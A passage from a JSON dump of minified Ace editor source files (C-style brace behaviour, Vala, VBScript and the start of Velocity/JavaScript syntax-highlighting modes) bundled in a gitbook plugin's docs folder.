i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/vala\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/tokenizer\",\"ace/mode/vala_highlight_rules\",\"ace/mode/folding/cstyle\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"../tokenizer\").Tokenizer,o=e(\"./vala_highlight_rules\").ValaHighlightRules,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=e(\"./matching_brace_outdent\").MatchingBraceOutdent,c=function(){this.HighlightRules=o,this.$outdent=new l,this.$behaviour=new a,this.foldingRules=new f};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/vala\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-vbscript.js",
    "content": "define(\"ace/mode/vbscript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.ending-space\"],regex:\"$\"},{token:[null],regex:\"^(?=\\\\t)\",next:\"state_3\"},{token:[null],regex:\"^(?= )\",next:\"state_4\"},{token:[\"text\",\"storage.type.function.asp\",\"text\",\"entity.name.function.asp\",\"text\",\"punctuation.definition.parameters.asp\",\"variable.parameter.function.asp\",\"punctuation.definition.parameters.asp\"],regex:\"^(\\\\s*)(Function|Sub)(\\\\s*)([a-zA-Z_]\\\\w*)(\\\\s*)(\\\\()([^)]*)(\\\\))\"},{token:\"punctuation.definition.comment.asp\",regex:\"'|REM\",next:\"comment\",caseInsensitive:!0},{token:[\"keyword.control.asp\"],regex:\"\\\\b(?:If|Then|Else|ElseIf|Else If|End If|While|Wend|For|To|Each|Case|Select|End Select|Return|Continue|Do|Until|Loop|Next|With|Exit Do|Exit For|Exit Function|Exit Property|Exit Sub|IIf)\\\\b\",caseInsensitive:!0},{token:\"keyword.operator.asp\",regex:\"\\\\b(?:Mod|And|Not|Or|Xor|as)\\\\b\",caseInsensitive:!0},{token:\"storage.type.asp\",regex:\"Dim|Call|Class|Const|Dim|Redim|Function|Sub|Private Sub|Public Sub|End sub|End Function|Set|Let|Get|New|Randomize|Option Explicit|On Error Resume Next|On Error GoTo\",caseInsensitive:!0},{token:\"storage.modifier.asp\",regex:\"\\\\b(?:Private|Public|Default)\\\\b\",caseInsensitive:!0},{token:\"constant.language.asp\",regex:\"\\\\b(?:Empty|False|Nothing|Null|True)\\\\b\",caseInsensitive:!0},{token:\"punctuation.definition.string.begin.asp\",regex:'\"',next:\"string\"},{token:[\"punctuation.definition.variable.asp\"],regex:\"(\\\\$)[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*?\\\\b\\\\s*\"},{token:\"support.class.asp\",regex:\"\\\\b(?:Application|ObjectContext|Request|Response|Server|Session)\\\\b\",caseInsensitive:!0},{token:\"support.class.collection.asp\",regex:\"\\\\b(?:Contents|StaticObjects|ClientCertificate|Cookies|Form|QueryString|ServerVariables)\\\\b\",caseInsensitive:!0},{token:\"support.constant.asp\",regex:\"\\\\b(?:TotalBytes|Buffer|CacheControl|Charset|ContentType|Expires|ExpiresAbsolute|IsClientConnected|PICS|Status|ScriptTimeout|CodePage|LCID|SessionID|Timeout)\\\\b\",caseInsensitive:!0},{token:\"support.function.asp\",regex:\"\\\\b(?:Lock|Unlock|SetAbort|SetComplete|BinaryRead|AddHeader|AppendToLog|BinaryWrite|Clear|End|Flush|Redirect|Write|CreateObject|HTMLEncode|MapPath|URLEncode|Abandon|Convert|Regex)\\\\b\",caseInsensitive:!0},{token:\"support.function.event.asp\",regex:\"\\\\b(?:Application_OnEnd|Application_OnStart|OnTransactionAbort|OnTransactionCommit|Session_OnEnd|Session_OnStart)\\\\b\",caseInsensitive:!0},{token:\"support.function.vb.asp\",regex:\"\\\\b(?:Array|Add|Asc|Atn|CBool|CByte|CCur|CDate|CDbl|Chr|CInt|CLng|Conversions|Cos|CreateObject|CSng|CStr|Date|DateAdd|DateDiff|DatePart|DateSerial|DateValue|Day|Derived|Math|Escape|Eval|Exists|Exp|Filter|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent|GetLocale|GetObject|GetRef|Hex|Hour|InputBox|InStr|InStrRev|Int|Fix|IsArray|IsDate|IsEmpty|IsNull|IsNumeric|IsObject|Item|Items|Join|Keys|LBound|LCase|Left|Len|LoadPicture|Log|LTrim|RTrim|Trim|Maths|Mid|Minute|Month|MonthName|MsgBox|Now|Oct|Remove|RemoveAll|Replace|RGB|Right|Rnd|Round|ScriptEngine|ScriptEngineBuildVersion|ScriptEngineMajorVersion|ScriptEngineMinorVersion|Second|SetLocale|Sgn|Sin|Space|Split|Sqr|StrComp|String|StrReverse|Tan|Time|Timer|TimeSerial|TimeValue|TypeName|UBound|UCase|Unescape|VarType|Weekday|WeekdayName|Year)\\\\b\",caseInsensitive:!0},{token:[\"constant.numeric.asp\"],regex:\"-?\\\\b(?:(?:0(?:x|X)[0-9a-fA-F]*)|(?:(?:[0-9]+\\\\.?[0-9]*)|(?:\\\\.[0-9]+))(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"support.type.vb.asp\",regex:\"\\\\b(?:vbtrue|vbfalse|vbcr|vbcrlf|vbformfeed|vblf|vbnewline|vbnullchar|vbnullstring|int32|vbtab|vbverticaltab|vbbinarycompare|vbtextcomparevbsunday|vbmonday|vbtuesday|vbwednesday|vbthursday|vbfriday|vbsaturday|vbusesystemdayofweek|vbfirstjan1|vbfirstfourdays|vbfirstfullweek|vbgeneraldate|vblongdate|vbshortdate|vblongtime|vbshorttime|vbobjecterror|vbEmpty|vbNull|vbInteger|vbLong|vbSingle|vbDouble|vbCurrency|vbDate|vbString|vbObject|vbError|vbBoolean|vbVariant|vbDataObject|vbDecimal|vbByte|vbArray)\\\\b\",caseInsensitive:!0},{token:[\"entity.name.function.asp\"],regex:\"(?:(\\\\b[a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*?\\\\b)(?=\\\\(\\\\)?))\"},{token:[\"keyword.operator.asp\"],regex:\"\\\\-|\\\\+|\\\\*\\\\/|\\\\>|\\\\<|\\\\=|\\\\&\"}],state_3:[{token:[\"meta.odd-tab.tabs\",\"meta.even-tab.tabs\"],regex:\"(\\\\t)(\\\\t)?\"},{token:\"meta.leading-space\",regex:\"(?=[^\\\\t])\",next:\"start\"},{token:\"meta.leading-space\",regex:\".\",next:\"state_3\"}],state_4:[{token:[\"meta.odd-tab.spaces\",\"meta.even-tab.spaces\"],regex:\"(  )(  )?\"},{token:\"meta.leading-space\",regex:\"(?=[^ ])\",next:\"start\"},{defaultToken:\"meta.leading-space\"}],comment:[{token:\"comment.line.apostrophe.asp\",regex:\"$|(?=(?:%>))\",next:\"start\"},{defaultToken:\"comment.line.apostrophe.asp\"}],string:[{token:\"constant.character.escape.apostrophe.asp\",regex:'\"\"'},{token:\"string.quoted.double.asp\",regex:'\"',next:\"start\"},{defaultToken:\"string.quoted.double.asp\"}]}};r.inherits(s,i),t.VBScriptHighlightRules=s}),define(\"ace/mode/vbscript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/vbscript_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./vbscript_highlight_rules\").VBScriptHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.lineCommentStart=[\"'\",\"REM\"],this.$id=\"ace/mode/vbscript\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-velocity.js",
    "content": "define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+o+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:o},{token:\"punctuation.operator\",regex:/[.](?![.])/,next:\"property\"},{token:\"keyword.operator\",regex:/--|\\+\\+|\\.{3}|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],property:[{token:\"text\",regex:\"\\\\s+\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(?:(\\\\s+)(\\\\w+))?(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"punctuation.operator\",regex:/[.](?![.])/},{token:\"support.function\",regex:/(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:\"support.function.dom\",regex:/(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:\"support.constant\",regex:/(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bov